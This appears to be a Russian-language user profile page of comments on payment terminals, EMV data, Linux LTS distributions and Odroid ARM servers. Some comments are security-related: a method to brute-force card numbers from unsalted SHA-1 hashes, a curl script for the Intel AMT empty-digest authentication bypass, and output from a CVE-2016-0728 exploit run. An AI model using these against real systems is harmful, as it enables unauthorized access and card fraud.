Pull to refresh
1
0
Send message

На Radeon RX 5500 TX номер карты восстанавливается по этому хэшу за 30 секунд:


  • это обычный sha-1 от номера карты, что запрещено по PCI DSS
  • всего нужно подобрать 11 цифр, так как последние четыре цифры
    возвращаются терминалом, а первая цифра восстанавливается по типу карты (Visa, Mastercard и т.д.)

Речь идёт о нарушении безопасности.
Если, конечно, там обычный sha-1 без использования MAC-функции с секретным ключом (например, CBC-MAC).

Терминал не должен по USB или по rs-232 выдавать чувствительные данные (PAN, PIN block).
Поэтому здесь нарушения стандарта PCI нет.

Интересно, а Сбербанк не даёт описание протокола, как общаться через USB или rs-232 с терминалом?
Тогда было бы намного проще интегрироваться.

Насколько я понял, терминалы Сбербанка не возвращают BIN, только последние 4 цифры.

Цифр меньше, всего 11:


  • Последние 4 цифры номера карты нам возвращают.
  • Первую цифру легко восстановить по AID

Производительно одной Nvidia 1080 около 1 GH/s для sha-1 https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40 Примерно 27 дней на одну карту.


Есть точки, которые не требуют CVV.

char Hash[CARD_HASH_LEN]; /**< [in, out] хеш SHA1 от номера карты ...

Это настоящий sha1 от номера карты?
Если это так, то можно восстановить номер карты, который нельзя раскрывать организациям, у которых нет PCI DSS.

Расшифровка CID


                                   80 (1000 0000) Response code
                                       10.. ....  ARQC
                                       ..00 ....  Payment System-specific cryptogram
                                       .... 0...  No advice required
                                       .... .000  No information given```

Расшифровка IAD:


                                   if AID starts with A000000003
                                   1F Length Indicator = 31
                                   4A Derivation Key Index = 74
                                   FF Cryptogram Version Number = 255
                                   32 CVR length = 50
                                   A0 (1010 0000) byte 2
                                       10.. ....  AC returned in 2nd GENERATE AC: Not requested
                                       ..10 ....  AC returned in 1st GENERATE AC: ARQC
                                       .... 0...  Issuer Authentication successfull or not performed
                                       .... .0..  Offline PIN verification not performed
                                       .... ..0.  Offline PIN verification passed or not performed
                                       .... ...0  Able to go online or offline transaction
                                   00 (0000 0000) byte 3
                                       0... ....  Last online transaction completed
                                       .0.. ....  PIN Try Limit not exceeded
                                       ..0. ....  Not exceeded velocity checking counters
                                       ...0 ....  No new card
                                       .... 0...  Issuer Authentication successful on last online transaction or not performed
                                       .... .0..  Issuer Authentication performed after online authorization or offline transaction
                                       .... ..0.  Application not blocked by card
                                       .... ...0  Offline static data authentication passed or was not performed on last transaction
                                   00 (0000 0000) byte 4
                                       0000 ....  Number of Issuer Script Commands : '0'
                                       .... 0...  Issuer Script processing passed
                                       .... .0..  Offline dynamic data authentication passed or was not performed on last transaction
                                       .... ..0.  Offline dynamic data authentication not performed
                                       .... ...0  PIN verification command received for a PIN-Expecting card or card does not expect PIN (i.e. Offline PIN verification not supported)

Интересно, по какому алгоритму считается фискальный признак на кассе и как он потом проверяется.

А можно ли обновлять BIOS из linux напрямую?
Для Windows есть такая возможность.

Мы на основе статьи написали простой bash-скрипт для проверки этой уязвимости (test.sh):


IP=$1
NONCE=$2
curl "http://$IP:16992/index.htm?" \
    -v \
    -H "Authorization: Digest username=\"admin\", realm=\"Digest:99770000000000000000000000000000\", nonce=\"$NONCE\", uri=\"/index.htm?\", response=\"\", qop=auth, nc=, cnonce=\"$CNONCE\"" \
    -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8,ru;q=0.6' \
    -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Referer: http://10.0.0.111:16992/index.htm?' \
    -H 'Connection: keep-alive' --compressed ;

Запускаем первый раз и получаем nonce:


./test.sh 10.0.0.12

...
< HTTP/1.1 401 Unauthorized
< WWW-Authenticate: Digest realm="Digest:D36A0000000000000000000000000000", nonce="KxXkEQEBAACmYSl8QvJVQ/UGOIBjEZ6W",stale="false",qop="auth"
< Content-Type: text/html
...

Затем во втором аргументе используем полученный nonce:


./test.sh 10.0.0.12 `KxXkEQEBAACmYSl8QvJVQ/UGOIBjEZ6W`

В java тоже есть интрумент для анализа производительности и поиска узких мест — Java Mission Control.
Он идет в составе JVM.
Причем он при его использовании производительность практически не падает (от 1 до 5%).


Включается несколькими параметрами:


-Dcom.sun.management.jmxremote.rmi.port=7091
-Dcom.sun.management.jmxremote.port=7091
-Dcom.sun.management.jmxremote.authenticate=false 
-Dcom.sun.management.jmxremote.ssl=false
-XX:+UnlockCommercialFeatures 
-XX:+FlightRecorder

Дальше можно зайти на сервер по ssh с перенаправлением портов:


ssh user@host -L7091:127.0.0.1:7091

Запускаем jmc и подключаемся к 127.0.0.1:7091


Вместо goroutines можно использовать fibers http://docs.paralleluniverse.co/quasar/

Перегревается ли Odroid XU4?
По нашему опыту, под большими нагрузками наблюдаются внезапные зависания. Причем проявляется это примерно через наделю. Решили установкой дополнительного охлаждения.

У XU4 четыры ядра медленных A7, и четыре быстрых A15.
Вы выбираете ядра, где будет работать потоки программы распознавания?
И насколько быстрее работает на A15, чем на A7?

Какое ядро используете?
От hardkernel 3.10 или с kernel.org?
на odroid xu4 с уязвимым ядром 3.10.82 эксплоит не работает:

./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
keyctl: Disk quota exceeded
Есть ли у ваших моделей IPMI?
Я смог найти только DC53427HYE и NUC5i5MYHE с поддержкой IPMI.
От версии к версии меняется много, разные системы инициализации (init, upstart, systemd), новые пакеты, взамен старых (например, pam для ldap), про ядро я уже не говорю (это только для intel, для arm за ядром все равно самим следить).
Плюс, нужно еще и протестировасть самим систему, погонять тесты на производительность.
Еще не надо забывать про новые GCC, glibc и binutils.
Плюс, больше чем уверен, что oracle свою версию java тестирует на LTS-системах.

А что мы получаем взамен?
Только новые версии пакетов, которые еще и не протестированы.
К примеру, мне все равно, что нового в open-ssh сервере (текущая функциональность полностью устраивает), главное, чтобы не было ошибок и дыр в безопасности.

Для host-систем, я лучше бы выбрал alpine linux или coreos, но у них нет LTS пока.
Экспериментировали с yoctoproject, но там не все входит в LTS и в случае с docker за слишком многим нужно следить самим.
У buildroot тоже нет LTS.

Потому что она не поддерживается 5-10 лет, как LTS.
Что нам делать с серверами, каждые полтора года переустанавливать ОС?
Потому что нужна стабильность и предсказуемость.

Например, я уже 4 года на ноутбуке используют archlinux, и каждый раз обновление системы приносит новые ошибки и (иногда) исправление старых. На ноутбуке две карты Nvidia и Intel, при обновлении ядра очень часто невозможно переключиться на Nvidia. Я уже не говорю про gnome shell, для которого у меня несколько скриптов, исправляющий его глюки.

Ставил archlinux на Odroid-U3 (используется в одном проекте для управления железками + vpn), в один день пришло обновление, которое поломало получение ip адреса по dhcp (было связано с systemd).

Мы выбрали Centos для Intel и ubuntu для ARM. Основное — это LTS.
Да, некоторые пакеты не устраивают, например java, docker, mysql и еще несколько.
Для низ сделаны собственные репозитории, за которыми мы следим и обрабатываем все CVE, связанные с ними.
Остальные пакеты в рамках существующих версий в LTS не обновляются на новые версии, только исправляются ошибки и правится безопасность, поэтому основная система стабильная.

Docker работает замечательно, пробовали на Odroid XU4, Odroid XU3 и SolidRun CuBox-i4×4.

На новую версию обновляется легко:

wget https://github.com/umiddelb/armhf/raw/master/bin/docker-1.7.1 && stop docker.io && cp docker-1.7.1 /usr/bin/docker && chmod a+x /usr/bin/docker && start docker.io

Подробнее в статье про docker для ARM v7

По производительности (3 шт. Odroid XU4, eMMC 32 GB или USB 3.0 HDD):
cassandra-stress на 3 нодах (каждая в docker-контейнере) выдает 12 тыс/c
iperf — около 950 Mbit/s

Centos 7 пока еще в экспериментальном репозитории, image для загрузки и для docker уже можно собрать, но тестировать всю систему придется самим, с ubuntu 14.04 все проще — уже давно всеми тестируется и работает как часы.

На этой неделе Hetzner стал предлагать сервера на основе Odroid XU4. Но почему-то ограничилcя только Ubuntu 15.04 (почему не выбрали 14.04?).

Производительности ARM v7 серверов вполне хватает (для наших задач), жалко что память ограничена только 2GB.
Хотя, есть экземпляры и с 4GB RAM, но по цене уступают в два раза Odroid XU4.

Стоит обратить внимание при размещение системы на sd-картах.
Для домашнего использования все хорошо, а вот для серверов — нет.
Часто при сбросе файлового кэша на sd-карту происходит замирание системы, т.к. sd-карты не обеспечивают постоянную скорость записи в режиме random.
Намного лучше себя ведут eMMC 5.0: постоянная скорость записи в разных режимах — 50MB/s (тестировали только у Odroid XU4).

По слухам, AMD готовит плату с 64-битным процессором, основанную на спецификации www.96boards.org/ee-specification по стоимости в 300-400$.

Для размещения в стойке формат текущих плат немного не устраивает.
Было бы здорово, если бы у Odroid XU4 порт UART и разьем питания располагались на противоположной стороне от RJ45 и были бы с каким-нибудь разъемом для backplane, например, как для шасси у медиаконвертеров.

1
23 ...

Information

Rating
Does not participate
Location
Россия
Date of birth
Registered
Activity